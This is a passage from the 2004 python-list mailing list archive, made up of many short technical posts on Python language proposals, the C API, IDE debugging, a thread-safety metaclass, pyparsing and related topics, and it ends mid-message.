23:35:19 -0400 Subject: Announcing PyCs, a new Python-like language on .Net In-Reply-To: <tcnyyenzzf4d.y8gn2kmuvrqm.dlg@40tude.net> References: <mailman.2572.1093751093.5135.python-list@python.org> <99dce321.0408292132.36ef381e@posting.google.com> <tcnyyenzzf4d.y8gn2kmuvrqm.dlg@40tude.net> Message-ID: <1f7befae04090220356ce53a07@mail.gmail.com> ... [David M. Wilson] >> Also judging by what I've seen of Prothon and read here, neither of >> your proposed languages are either Python-like or related to this >> group. [Mark Hahn] > Tim Peters and Guido both disagree with you. They have both told > me to post here and keep the community informed of my work. They > consider Prothon a "sandbox" that Python can learn from. This is true! Without mountains of backward compatibility constraining you in all directions, you can try things that CPython will likely never be able to try. You pick interesting things to try, too, and Python 3000 stands to benefit from such experiments. But you're not *required* to post here. If the general Python community can't see value in fresh approaches (which is likely true of all, um, "mature" language communities in-the-large), maybe sticking to python-dev would cut some needless grief from your life. From abra9823 at mail.usyd.edu.au Mon Sep 27 22:57:45 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Tue, 28 Sep 2004 12:57:45 +1000 Subject: finding time when url was modified In-Reply-To: <yIWdnZvyE_ffUMXcRVn-vg@powergate.ca> References: <mailman.3986.1096334803.5135.python-list@python.org> <5r36d.524$gk.491@okepread01> <mailman.3988.1096336962.5135.python-list@python.org> <yIWdnZvyE_ffUMXcRVn-vg@powergate.ca> Message-ID: <1096340265.4158d3295d3d3@www-mail.usyd.edu.au> Quoting Peter Hansen <peter at engcorp.com>: > Ajay wrote: > > is it possible for someone to change the Last-Modified header? Can > someone > > put a new updated document, but in such a way that if someone requests > > that document, they get an old date rather than the new date? > > i can see a CGI script add its own header and then write out the > document. > > but can this be done with a simple HTML page? > > Certainly... the server can do anything it wants with that > header, including failing to provide it, providing an invalid > date, providing a date in the future or distant past, or > even providing a date that happens to correspond exactly > with the true "last modified" date of the document... > > Whether a *particular* server will do that with a *particular* > kind of document is a different question altogether. > > Do you have a specific situation involving this that you > can describe, or are you just asking in general, out of > curiosity? thanks it was mostly out of curiousity. I have an interchange where the servers would send a policy and request a resource. the other server would evaluate the policy and respond accordingly. i am hoping to cut down on the evaluation by maintaining a record of past transactions and if everything is the same (policy, resource ets) then take the same action as before. one way was to store policy used earlier and compare that with the new one and so on. since the app is for a mobile device with low processing power, i was hoping to perhaps use modified date - which when i thought a little more about it is clearly not feasible. i guess comparing two really large strings is what i'll have to go with. any ideas on performance of string comparisons? cheers > > -Peter > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From mrsilva at fastmail.fm Mon Sep 27 03:48:20 2004 From: mrsilva at fastmail.fm (Marcio Rosa da Silva) Date: Mon, 27 Sep 2004 09:48:20 +0200 Subject: emacs python-mode bug #1021885 Message-ID: <cj8ggc$ihq$1@rzcomm2.rz.tu-bs.de> Hi! I am having some problem with python-emacs mode. I found a bug related to it at sf.net: bug #1021885 shell gets set to 'cpython': http://sourceforge.net/tracker/?group_id=86916&atid=581349&func=detail&aid=1021885 The problem is that when I try to run the script using C-c C-c, I get the following message: "Wrong type argument: sequencep, cpython" My question is if there is anyone that found a workaround to this problem? Thanks! Marcio From surfmatj at email.si Wed Sep 22 21:49:29 2004 From: surfmatj at email.si (Matjaz) Date: Thu, 23 Sep 2004 03:49:29 +0200 Subject: Python lists ans sequence protocol from C API In-Reply-To: <1gkjfm7.wrjgtylgweyeN%aleaxit@yahoo.com> References: <cirskl$3kr$1@planja.arnes.si> <1gkjfm7.wrjgtylgweyeN%aleaxit@yahoo.com> Message-ID: <cita3c$ahj$1@planja.arnes.si> Alex, thanks. In the meantime I also found out what I was doing wrong. One question, though. Would you prefer using Py_BuildValue("") over Py_None and increfing it? Matjaz. Alex Martelli wrote: > Matjaz <surfmatj at email.si> wrote: > ... > >>PySequence_SetItem with the following error message: >>"Unhandled exception at 0x1e04ed1a in python.exe: >>0xC0000005: Access violation reading location 0x00000000." >>Could it be that basic lists do not support sequence protocol? > > > Once they're valid Python list objects, they do... > > >>Or am I missing something? I'm using Python 2.3.4 on Windows XP. > > > You're missing the fact that you're never building a valid Python list > object in your code. The slots, as PyObject*, are 'random', probably > null pointers. That's why you're supposed to use PyList_SET_ITEM > specifically to initialize these 'slots' WITHOUT trying to decref the > previously held item... there IS no 'previously held item'...! > > >>PyObject *argseq, *ov; >>int i, v, len; >> >>len = 2; >>argseq = PyList_New(len); > > > This does NOT initialize the slots of list argseq, as above explained. > > >>for (i=0; i<len; i++) { >> ov = PyInt_FromLong(i); >> printf("Index %d. Success %d.\n", i, PySequence_SetItem(argseq, i, ov)); >>} > > > But this does try to decref that null pointer (or whatever), so, BOOM. > > >>Why would I wish to use sequence with basic lists protocol? Because my >>code should also deal with other sequence types, possibly subclassed from >>python lists. > > > Nevertheless they'll need to be properly built, inizialized, first. > > Add initialization, such as an immediate: > for (i=0; i<len; i++) { > PyList_SET_ITEM(argseq, i, Py_BuildValue("")); > } > just after your > argseq = PyList_New(len); > and you should be fine with PySequence_whateveryouwish now. > > > Alex > > From sheldonplankton at yahoo.com Sun Sep 19 00:57:40 2004 From: sheldonplankton at yahoo.com (Sheldon Plankton) Date: 18 Sep 2004 21:57:40 -0700 Subject: New Programmer and Python References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com> Message-ID: <2e05134b.0409182057.68ccfab5@posting.google.com> Hi PMD96, I had to learn Perl once. A co-worker suggested that I take a look at http://www.perlmonks.org I did and wow! I became a Perl guru. I changed jobs and at this new job they use Python. I think Python is great but there is no pythonmonks ... well until now ... I am starting a sight called Snakehandlers.net, right now I run it off my desktop at home so check it out at http://216.175.112.88. Thanks for you support! Plankton "PMD96" <PMD96 at comcast.net> wrote in message news:<_NidnfFXMMGVyNHcRVn-hg at comcast.com>... > I'm new to programming and have been recommended to start with Python. I've > reviewed the tutorial and am looking for additional learning tools to learn > programming and Python. Any recommendations? From rstephens at vectron.com Thu Sep 16 10:44:43 2004 From: rstephens at vectron.com (Ron Stephens) Date: 16 Sep 2004 07:44:43 -0700 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? Message-ID: <a5415304.0409160644.41adea51@posting.google.com> Can anyone give me a brief comparison of the purposes of these two projects (AnyGUI and pyGUI)? In other words, how are the motivations and goals for each project different? Ron Stephens From gen2n at seznam.cz Mon Sep 13 03:48:01 2004 From: gen2n at seznam.cz (p.kosina) Date: Mon, 13 Sep 2004 09:48:01 +0200 Subject: glade Message-ID: <ci3jd7$5e8$1@news.vol.cz> Does there exist any python plug-in (or something like that) for Glade 2.0.1. win32 port? I cant find any or links are unavailable. Thanks Pavel From skip at pobox.com Wed Sep 8 17:40:09 2004 From: skip at pobox.com (Skip Montanaro) Date: Wed, 8 Sep 2004 16:40:09 -0500 Subject: Machine identification In-Reply-To: <20040908205301.GD19306@unpythonic.net> References: <01f101c495cd$a786cc40$054b12ac@D18SYX41> <mailman.3050.1094666837.5135.python-list@python.org> <O2I%c.17391$4D1.12711@newssvr27.news.prodigy.com> <20040908205301.GD19306@unpythonic.net> Message-ID: <16703.31801.534210.542247@montanaro.dyndns.org> Jeff> If this address is a non-routable address, such as 10.0.2.2, which Jeff> will be NATted by some other machine, the problem can't be solved Jeff> by writing a few lines of Python to execute on the NATted machine. When I need my cable modem's address I use the following script (called, oddly enough, printip): #!/usr/bin/env python import smtplib, re, socket, os, sys s = smtplib.SMTP("suitable.smtp.server.name.here") code, msg = s.helo() s.quit() mat = re.search("([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)", msg) if mat is not None: print mat.group(1) else: print "IP address unknown" sys.exit(1) It generates a remote SMTP connection and picks the ip address out of the helo() response. I don't know if this is a general solution, but it's worked for me for several years (modtime on the script file says Dec 7 2001). The remote SMTP server I connect to runs sendmail. YMMV. Skip From marie-claude.savoie at sympatico.ca Tue Sep 21 15:17:14 2004 From: marie-claude.savoie at sympatico.ca (Gordon Williams) Date: Tue, 21 Sep 2004 15:17:14 -0400 Subject: list.pop and print doing funny things References: <mailman.3669.1095791640.5135.python-list@python.org> <ybednYBdUs-K4c3cRVn-uA@comcast.com> Message-ID: <H1%3d.13446$pA.917391@news20.bellglobal.com> "Larry Bates" <lbates at swamisoft.com> wrote in message news:ybednYBdUs-K4c3cRVn-uA at comcast.com... > Whenever you pop from the list it is destructive > and the result is returned, which means it will > be echoed in the interpreter. Forgot about the echo. Thanks From zondervanz at gmail.com Mon Sep 13 02:02:30 2004 From: zondervanz at gmail.com (zipher) Date: 12 Sep 2004 23:02:30 -0700 Subject: generator expressions and new ternary operator Message-ID: <3b59a80.0409122202.77061a66@posting.google.com> It seems the debate over PEP 308 (if-then-else expression) occurred prior to the arrival of generator expressions. Mightn't this new latter syntax be the ticket to a "one obvious way" to write a ternary expression in python? >>> (foo(i) if i==42 else bar(i)) # i==42 ? foo(i) : bar(i) zipher From tolot at jupiter.solar-empire.de Tue Sep 28 18:31:50 2004 From: tolot at jupiter.solar-empire.de (Marc Christiansen) Date: Wed, 29 Sep 2004 00:31:50 +0200 Subject: all pairs of items in a list without indexing? References: <mailman.4028.1096403649.5135.python-list@python.org> Message-ID: <mb5p22-322.ln1@halut.solar-empire.de> Steven Bethard <steven.bethard at gmail.com> wrote: > So I need to do something like: > > for i in range(len(l)): > for j in range(i+1, len(l)): > # do something with (l[i], l[j]) > [...] > I could do something like: > > for i, item1 in enumerate(l): > for j in range(i+1, len(l)): > (item1, l[j]) > > but that only gets me halfway there... I also thought of something like: > > for i, item1 in enumerate(l): > for item2 in l[i+1:]: > (item1, item2) > > but that seems like a lot of wasteful list slicing... You could try something like: for i, item1 in enumerate(l): for item2 in itertools.islice(l, i+1, None): (item1, item2) I'm not sure which version I prefer. Marc From dave at pythonapocrypha.com Tue Sep 28 13:13:11 2004 From: dave at pythonapocrypha.com (Dave Brueck) Date: Tue, 28 Sep 2004 11:13:11 -0600 Subject: annoying behavior In-Reply-To: <9418be08.0409280856.9368ddf@posting.google.com> References: <9418be08.0409280856.9368ddf@posting.google.com> Message-ID: <41599BA7.6010001@pythonapocrypha.com> Elbert Lev wrote: > # here is the problem I ran into: > > class foo: > def __init__(self, host): > self.f() > self.r = True [snip code using attribute before it existed] > #here is the output: > #AttributeError: foo instance has no attribute 'r' > > # I understand why does this happen, but, to tell the truth, > # this feature is very annoying. This "feature" is pretty useful! :) > # Are there any plans to relax this restriction? > # In 3.0 :)? Goodness, I sure hope not! (and I doubt it too) What behavior do you have in mind? Anything different than the current behavior would be confusing/misleading and would hide bugs like the one you encountered. -Dave From danperl at rogers.com Mon Sep 27 12:04:47 2004 From: danperl at rogers.com (Dan Perl) Date: Mon, 27 Sep 2004 12:04:47 -0400 Subject: "False exceptions?" (was Re: theme of the week: tools References: <mailman.3802.1095960335.5135.python-list@python.org><QcudnRef363plc7cRVn-vg@powergate.ca> <41542230.3070808@bellsouth.net><mailman.3864.1096040439.5135.python-list@python.org><mfydnUd5Idex1srcRVn-pQ@rogers.com><tpudnXILROwO88rcRVn-sw@powergate.ca> <mailman.3947.1096250696.5135.python-list@python.org> <kdWdndU_KZvAFcrcRVn-gQ@rogers.com> <4157FD67.80404@holdenweb.com> Message-ID: <efidneft_NO8p8XcRVn-tQ@rogers.com> "Steve Holden" <steve at holdenweb.com> wrote in message news:4157FD67.80404 at holdenweb.com... > Dan Perl wrote: > >> Yes, that's what I was talking about. Thanks, Carlos, for explaining it. >> I actually should have said false detection of exceptions or wrong >> detection of exceptions. I don't remember what Wingware are calling it. >> Actually, the way they were qualifying it was something like "if you do >> not see this exception when running the script outside the IDE, then you >> should probably flag it to be ignored". And they are giving a list of >> builtin modules where those exceptions are usually "falsely" detected. >> > As a recent convert to Wing I think you aren't giving them enough credit: > remember, this only happens in the 2.0 BETA product (or, if it also > happens in earlier versions, they are definitely planning to minimize the > effects in the production version). According to the documentation this was happening in much earlier, production, versions. You are saying "they are definitely planning to minimize the effects in the production version". Can you please qualify that? Minimize how? What does "minimizing the effects" mean anyway? >> I didn't try to figure out what their exception detection mechanism is >> and why they have this problem. I just uninstalled the IDE. So 10 days >> for the trial was more than enough after all. ;-) I think I had it >> installed for about 2 days. I can tolerate a bug and I wouldn't be so >> riled up, but what got me was the marketing spin and how they were just >> excusing the bug, like they would never fix it. >> > Well, I'm sure I remember reading somewhere that before they go into > production they plan to add a standard list of such exceptions for the > various Python versions, so that the standard libraries are far less > troublesome in this respect. A "standard" list? I don't see what's "standard" about that. And the "standard libraries" are not "troublesome", the IDE is. On the other hand, I suppose that this would be an "effect minimization". I don't know what their plans are, but they could include a list of all the possible false positives and automatically ignore them. Forgive me, but that is a hack and I will not have any respect for that. You are using the same kind of marketing spin speak that Wingware is using. I can understand that you like the tool and you feel you have to defend it. But I think this is the wrong way to do it, both for you and for Wingware. I probably shouldn't get so worked up about it. To be fair, since I tried the tool I have discovered that Wing IDE also has the option to disable that behavior and to debug in a mode where unhandled exceptions are just treated like a normal run would treat them. > Plus, IIRC, all you have to do is check an "ignore this exception" box to > have a specific exception ignored everafter, which didn't seem like a huge > deal to me. It's just too bad I don't have a checkbox for "Ignore marketing spin at this location". Dan From mauriceling at acm.org Fri Sep 3 00:51:28 2004 From: mauriceling at acm.org (Maurice LING) Date: Fri, 03 Sep 2004 04:51:28 GMT Subject: Modules are hashable?! In-Reply-To: <ch8rkp$ncp$1@news.service.uci.edu> References: <2pld08Fm7mo8U1@uni-berlin.de> <1gjfpqj.1knk4mcpq5fj0N%aleaxit@yahoo.com> <4137ed92$1@news.unimelb.edu.au> <ch8rkp$ncp$1@news.service.uci.edu> Message-ID: <4137f84c@news.unimelb.edu.au> is there actually a practical reason to hash modules? can I call a module using the hash key? maurice From tzot at sil-tec.gr Wed Sep 29 03:29:51 2004 From: tzot at sil-tec.gr (Christos TZOTZIOY Georgiou) Date: Wed, 29 Sep 2004 10:29:51 +0300 Subject: dummy tk windows References: <gEk2d.25744$%S.13058@pd7tw2no> <pan.2004.09.17.04.39.08.814115@adelphia.net> <y_x2d.32754$%S.793@pd7tw2no> Message-ID: <11pkl09ltjndeapdj14cf3qdsjmfg9f6vk@4ax.com> On Fri, 17 Sep 2004 09:19:26 GMT, rumours say that "Elaine Jackson" <elainejackson7355 at home.com> might have written: >"Paul Miller" <pwmiller1 at adelphia.net> wrote in message >news:pan.2004.09.17.04.39.08.814115 at adelphia.net... ><snip> HTH > >It did. Thank you. I made a wrapper for this stuff that I'll include here for >the benefit of anyone who may be following the discussion from the sidelines. > >Peace > >def dialog(className): > from Tkinter import Tk > from tkFileDialog import Open,SaveAs,Directory > Tk().withdraw() > name = eval(className)().show() > if className=='Directory': return name > mode = (className=='Open' and 'r') or (className=='SaveAs' and 'w') > return file(name,mode) > Elaine, """eval(className)""" is generally insecure. Another (more secure and direct) idea would be to """import tkFileDialog""" and then use """getattr(tkFileDialog, className)""" instead. -- TZOTZIOY, I speak England very best, "Tssss!" --Brad Pitt as Achilles in unprecedented Ancient Greek From claird at lairds.us Thu Sep 30 00:08:09 2004 From: claird at lairds.us (Cameron Laird) Date: Thu, 30 Sep 2004 04:08:09 GMT Subject: Social Analysis and Modeling for Python References: <415AD6A4.7000400@cloudthunder.com> <10AC3CB6-1236-11D9-876C-0003939C968C@unito.it> <mailman.4096.1096482802.5135.python-list@python.org> Message-ID: <4abs22-p18.ln1@lairds.us> In article <mailman.4096.1096482802.5135.python-list at python.org>, Bishara Gabriel <bgabriel at cloudthunder.com> wrote: >Latest Revision of Social Analysis and Modeling in Python: >http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf Recognition of SimPy greatly comforts me. Is your thesis that OOP is good for social sciences in contrast to other sciences, or as with other sciences? If the latter--as I believe--than you need to alert readers to Python's existing record of success in serving the sciences (see, for example, the recent SciPy Conference). I don't like formulations such as "one-to-one correlation between their theoretical model and the Python equivalent." It says both too little and too much. If this were my proposal, I'd aim for the far more powerful, "this project demonstrates Python's suitability as a vehicle which simultaneously expresses a theoretical model in a way researchers understand, and calculates the consequences of that model with a speed and reliability humans don't match." Do you realize how ambitious your "Proposal Specifics" sound? How many hours do you estimate these seven achievements will require? What are the "loadings" of your Project Manager and Chief Consultant? For you, is "theoretical economics" inherently and comprehensively Marxian, or are you claiming expertise only in that part of it which is Marxian? From peter at engcorp.com Tue Sep 21 16:15:00 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 21 Sep 2004 16:15:00 -0400 Subject: flat tuple In-Reply-To: <mailman.3679.1095797498.5135.python-list@python.org> References: <41501751$0$22757$db0fefd9@news.zen.co.uk> <mailman.3638.1095768408.5135.python-list@python.org> <1gkgys2.vmoski6n9kw9N%aleaxit@yahoo.com> <mailman.3679.1095797498.5135.python-list@python.org> Message-ID: <xr6dnS7HwKRZFs3cRVn-hw@powergate.ca> John Lenton wrote: > On Tue, Sep 21, 2004 at 03:26:37PM +0200, Alex Martelli wrote: >>Might be, but % wants a tuple as the RHS (assuming the LHS format string >>has multiple %-formatting elements), NOT a list. > > you mean it actually converts it into a tuple? This isn't that hard to test: c:\>python >>> 'testing %s %s' % ['use of', 'a list'] Traceback (most recent call last): File "<stdin>", line 1, in ? TypeError: not enough arguments for format string -Peter From irmen at -nospam-remove-this-xs4all.nl Sun Sep 26 16:39:14 2004 From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong) Date: Sun, 26 Sep 2004 22:39:14 +0200 Subject: Metaclass to make all methods of a class thread-safe Message-ID: <415728eb$0$78753$e4fe514c@news.xs4all.nl> Hi, I've developed the Metaclass below, because I needed a way to make a bunch of classes thread-safe. I didn't want to change every method of the class by adding lock.aqcuire()..lock.release() around the existing code. So I made a metaclass that essentially replaces every method of a class with a 'wrapper' method, that does the locking, invocation, unlocking. Is this the right approach? It seems to work fine. But I have very little experience with metaclass programming, so I'd like to hear some feedback. Thanks !! --Irmen de Jong. # ---- source below ---- from types import FunctionType from threading import RLock class ThreadSafeMethodsMetaClass(type): def __new__(meta, name, bases, dict): meta.convert_methods(dict) return super(ThreadSafeMethodsMetaClass, meta).__new__(meta, name, bases, dict) def makeThreadsafeMethod(func): def threadsafemethod(self, *args, **kwargs): self._monitor_lockObj.acquire() print ">>got lock" try: return func(self, *args, **kwargs) finally: self._monitor_lockObj.release() print "<<released lock" return threadsafemethod makeThreadsafeMethod = staticmethod(makeThreadsafeMethod) def convert_methods(cls, dict): methods=[ v for k,v in dict.iteritems() if isinstance(v, FunctionType) ] for m in methods: dict[m.__name__]=cls.makeThreadsafeMethod(m) dict["_monitor_lockObj"] = RLock() convert_methods = classmethod(convert_methods) class MyClass(object): __metaclass__=ThreadSafeMethodsMetaClass def __init__(self): print "init!" def method(self, a1, a2): print a1,a2 m=MyClass() m.method("irmen",42) From ville at spammers.com Wed Sep 1 16:38:52 2004 From: ville at spammers.com (Ville Vainio) Date: 01 Sep 2004 23:38:52 +0300 Subject: Announcing PyCs, a new Python-like language on .Net References: <mailman.2572.1093751093.5135.python-list@python.org> <1093788608.645541@news.commspeed.net> <mailman.2712.1094021283.5135.python-list@python.org> <7xoekq4ehv.fsf@ruckus.brouhaha.com> <gx8haghholfn.g4vz6pwzmdbg$.dlg@40tude.net> Message-ID: <du7llftiv1f.fsf@lehtori.cc.tut.fi> >>>>> "Mark" == Mark Hahn <mark at prothon.org> writes: Mark> On 01 Sep 2004 00:47:40 -0700, Paul Rubin wrote: >> Mark Hahn <mark at prothon.org> writes: >>> I would have agreed with you before I saw the details of the >>> C-Omega language. Check out this paper on how XML and SQL are >>> handled directly in the language: >> Yuck, Javascript handled those tasks just fine, it seemed to me. Mark> Did you actually read the paper? And I'd like to ask whether you've checked out David Mertz's gnosis.xml.objectify? To me, X# seems mostly like naive buzzword chasing - or a research project that exists because someone needed a research project. If you want to do something that could be worthwhile to a larger number of people, add static type declarations to IronPython. There you could really be pioneering stuff that will be in py3k. X# sounds more like perl7, with snowballs chance in hell of being adopted by any future python iteration. -- Ville Vainio http://tinyurl.com/2prnb From richardshea at fastmail.fm Mon Sep 6 20:26:22 2004 From: richardshea at fastmail.fm (Richard Shea) Date: 6 Sep 2004 17:26:22 -0700 Subject: Win32/Console - subclass using Python ? Message-ID: <282f826a.0409061626.16567378@posting.google.com> Hi - I wondered if anyone had done this before and could provide some suggestions ? I'm interested in supplying extra functionality to a Win32 Console (cmd.exe) - full description below for those interested. I would do this using Python. I'm having difficulty finding anything about Console based programming via MSDN - I just wondered if anyone had done anything like this or alternatively knew where the part of the Win32 API which deals with Console interaction is on MSDN ? I've found http://support.microsoft.com/default.aspx?scid=kb;en-us;104094 but that's about it so far. FULL DESCRIPTION ================ I use the Oracle client SQLPLUS a lot via a Win 32 console. There are some aspect s of this experience which would bear improvement. I'm interested in producing a 'super' cmd.exe which would 'help' SQLPLUS do its thing. I'm thinking for instance of auto-completion of table names, smart help etc. That's a big topic but just for starters I would like to be able to create my own 'super cmd.exe' regards Richard Shea From raoulsam at yahoo.com Mon Sep 20 20:39:24 2004 From: raoulsam at yahoo.com (Raoul) Date: 20 Sep 2004 17:39:24 -0700 Subject: Pyparsing... Message-ID: <7b22ae5b.0409201639.7837fca9@posting.google.com> I am futzing with pyparsing and for the most part enjoying it. However, I'm running into trouble with whitespace delimited lists. I get data in blocks like this: [QC1] Type=15 NumberCells=1925 CellHeader=X Y PROBE PLEN ATOM INDEX Cell1=132 0 N 25 0 132 Cell2=652 0 N 25 0 652 Cell3=648 0 N 25 0 648 ... I'd like to be able to parse this structure. Ideally, I'd like for a QC node, to have a dictionary with {'number':1 'type' : 15 'NumberCells' : 1925 'Table' : [{'cell':1,'x':132,'y':0,'probe':25,'plen':0,'atom':132', 'index':None}, {'cell':2 .... I'm running into the following problems: 1. I can't seem to use delimitList() to define a rule that parses the right hand side of the table into ['x','y','probe','plen','atom','index']. I think it's because my lists are whitespace delimited. 2. I can't seem to convert value into an integer, for example, I can parse each row in the table to : ['Cell','2','=', '652 0 N 25 0 652'] but am unable to get the setParseAction(see below) to convert and substitute in the right value. Any hints will help a great deal. Thanks... Raoul-Sam I have some ugly non functional code below.. def cdffile_BNF(): global cdfbnf if not cdfbnf: makeint = Word(nums).setParseAction( lambda s,l,t:[int(t[0])]) equals = Literal("=").suppress() nonequals = "".join( [ c for c in printables if c != "=" ] ) + " \t" key = Word(nonequals) value = Word(nonequals) kvp = Group(key + equals + restOfLine) kvpBlk = OneOrMore(kvp) headerCell = delimitedList(Word(alphanums)," ") rowHeader = Combine( Literal("CellHeader") + equals + headerCell) row = Combine(Literal("Cell").suppress() + restOfLine) rows = OneOrMore(row) CDF = Literal("[CDF]") CDFBlk = Group(CDF + kvpBlk) CHIP = Literal("[CHIP]") CHIPBlk = Group(CHIP + kvpBlk) CHIPBlk.setResultsName("chip") QC = Combine( Literal("[QC").suppress() + Word(nums) + Literal("]").suppress()) QCBlk = QC + kvp + kvp + rowHeader + rows cdfbnf = CDFBlk + CHIPBlk + QCBlk return cdfbnf From dperl at rogers.com Wed Sep 1 12:57:17 2004 From: dperl at rogers.com (Dan Perl) Date: Wed, 01 Sep 2004 16:57:17 GMT Subject: initializing mutable class attributes References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com> <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> <1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com> <iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com> <1gjg2g0.1yx50mvx6csq3N%aleaxit@yahoo.com> Message-ID: <NbnZc.158679$UTP.56286@twister01.bloor.is.net.cable.rogers.com> "Alex Martelli" <aleaxit at yahoo.com> wrote in message news:1gjg2g0.1yx50mvx6csq3N%aleaxit at yahoo.com... > ... > Nevertheless, the observation "you cannot have a default constructor and > a non-default one at the same time" is not correct. If you want to > insist that the constructors MUST all be named __init__, otherwise > they're not constructors but "methods which construct but we cannot name > constructors because constructors must be named __init__", go ahead, but > then, again, we are at an information-free tautology. My point is: you > can have any number of "methods which construct" (constructants? I think > calling them constructors is more idiomatic English!-), just by choosing > the same number of names, one each. So drawing any conclusion from a > premise that "you cannot have a default constructor and a non-default > one at the same time" is faulty reasoning -- the premise is false (by > any meaningful interpretation of the terms in it) so you can prove > anything from it. You may want to try and correctly deduce something > from the true assertion -- "if you have a default constructor and a > non-default one they must have two different names" -- but I don't think > anything necessarily follows from this one. We are arguing terminology. I was strictly referring to __init__, but you are certainly right that Python 'constructors' are a more loose term. > Sure, this C++ code is faulty. The way gcc diagnoses that error is > debatable; I would say the fault is more likely to be a missing > " :Class1(someinteger) " between the "Class2(int arg)" and the following > open-brace. I've made my life for years in a job where one of my main > tasks was helping hundreds of programmers write good C++, I've seen this > error often, and the "solution" of adding to Class1 a constructor > callable without arguments was very rarely the right one; almost > invariably those mandatory arguments in Class1's constructor _WERE_ > indeed logically necessary -- the class just could not make instances > with meaningful internal state (meeting not just the class invariants, > but the "business purpose" of the class) without those arguments. The > solution was (if the inheritance between concrete classes just could not > be removed in favour of preferable idioms such as Martin's Dependency > Inversion Principle) to ensure subclasses specified the needed arguments > for their superclasses -- that's exactly what C++'s syntax > > Class2(int arg): Class1(someint) { ... } > > is _for_. ("two-phase constructor" and other solutions also emerge > here). > > In brief: given Class1 as it is, you have to call Class1's constructor > explicitly in Class2's constructor, just like in Python (but with far > less flexibility, because it needs to happen _before_ Class2's > constructor body executes -- whence possible needs for two-phase > constructor and the like). > > > ..... > > Or more likely, you have to call Class1's constructor explicitly from > Class'2 constructor. But sure, C++ does have more implicit, "black > magic" behavior "behind the scenes" than Python in quite a few aspects > (though not an unbounded amount) -- the implicit no-arguments do-nothing > constructor is NOT an example, because the result is exactly the same > you get in Python if you have no __init__ at all. You're right, in most cases that would be the right use. But my example was just an example and it was just to enforce the earlier statement of "C++ and Java have overloading and then can also mandate a default constructor for a parent class." > I've already explained how you can simulate C++'s behavior, and indeed > get even MORE implicit if you wish, and I think it would be a disaster > to USE such a custom metaclass; but if you're sincere in saying it's > better then you should be KEEN to use it. I'm supposed to do other > things this evening (changing some scripts to generate DocBook rather > than XHTML from some semantic-level markup -- fun, fun, fun...;-) but > maybe I'll find the time to take a break and show you the custom > metaclass you need to perpetrate this horror, since you state it's > "better" than Python's explicitness -- no promises tho... Thanks, but you don't have to bother. It's not something I need right away. But I should learn that for myself so I will look at your previous posting and other documentation that I'll find. Dan From gandalf at geochemsource.com Thu Sep 2 16:30:27 2004 From: gandalf at geochemsource.com (Gandalf) Date: Thu, 02 Sep 2004 22:30:27 +0200 Subject: Encoding problems In-Reply-To: <ch7t8s$tvq$1@news-reader4.wanadoo.fr> References: <mailman.2782.1094151426.5135.python-list@python.org> <ch7t8s$tvq$1@news-reader4.wanadoo.fr> Message-ID: <413782E3.1090007@geochemsource.com> Michel Claveau - abstraction m?ta-galactique non triviale en fuite perp?tuelle. wrote: >Hi ! > > >On W-XP / W2K, you can solve the problem with : > - change the font of the console to "Lucida handwriter" > - change your script to : > ># -*- coding: cp1252 -*- > >import os >ecran=os.popen('MODE CON: CP SELECT=1252').readlines() > >s1 = 'n?z' >s2 = raw_input('Please type in "n?z":') >print repr(s1) >print repr(s2) > Okay, I understand now. This is a fault of the win32 console - it defaults to a different encoding than other parts of the Windows system. This is messy but we cannot do anything about it. :-( >*sorry for my bad english* > Not bad at all. Thanks for your help. Laci 2.0 From mcfletch at rogers.com Fri Sep 10 16:36:43 2004 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Fri, 10 Sep 2004 16:36:43 -0400 Subject: Python bell or beep In-Reply-To: <cht1cc$ero$1@sea.gmane.org> References: <1B64CD41A257784EAD82424FC8915F840EADC11C@NYCEXMB15.pfizer.com> <cht1cc$ero$1@sea.gmane.org> Message-ID: <4142105B.3060103@rogers.com> Jeffrey Barish wrote: >Greer, Joseph wrote: > > > >>I am a former BASIC programmer. Is there a command I can place in a >>Python program to make a beep or buzz or bell? >> >> There are various ways, most platform/shell specific. If you happen to be on Windows, check out the standard module winsound. HTH, Mike ________________________________________________ Mike C. Fletcher Designer, VR Plumber, Coder http://www.vrplumber.com http://blog.vrplumber.com From me at privacy.net Wed Sep 22 20:25:15 2004 From: me at privacy.net (Richard Hanson) Date: Wed, 22 Sep 2004 17:25:15 -0700 Subject: [OT] Linux distro recommendations for HP Omnibook 900B laptop? [was Re: Comparioson of purpose for PyGUI and AnyGUI ???] References: <a5415304.0409160644.41adea51@posting.google.com> <cicqq7$kra$2@news-reader4.wanadoo.fr> <cicsha$prl@odbk17.prod.google.com> <cid5as$u3j$1@news-reader2.wanadoo.fr> <cc887c1d.0409162041.1433bac1@posting.google.com> <pan.2004.09.18.07.53.35.276252@virgilio.it> <1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com> <slrnckoabl.mb3.mlh@furu.idi.ntnu.no> <1gkbphs.l3eo2d1707mysN%aleaxit@yahoo.com> <rcr1l05n3fk3vt8j1cvvjf8s2r19ek2f8a@4ax.com> <0r22l05r8hid261ptta9pkp588jvnleoe7@4ax.com> Message-ID: <lmh3l01111us36vb8qui545c7go5ocoj7u@4ax.com> [I'm not aware of the local customs re [B]CC'ing the poster being replied to when changing the subject line to start a new thread. I'd welcome advice if such is desired. So far, I've only replied in-group.] Andrea Griffini wrote: > On Tue, 21 Sep 2004 20:17:26 -0700, Richard Hanson <me at privacy.net> > wrote: > > >loading-RH9-tomorrow'ly y'rs, > > OT but I can't resist. Glad you didn't resist! > Pay attention to what you're doing and please be sure > you're installing a very current very patched system. > I installed RH9 on a server (to replace an old machine > running RH6) and to my great 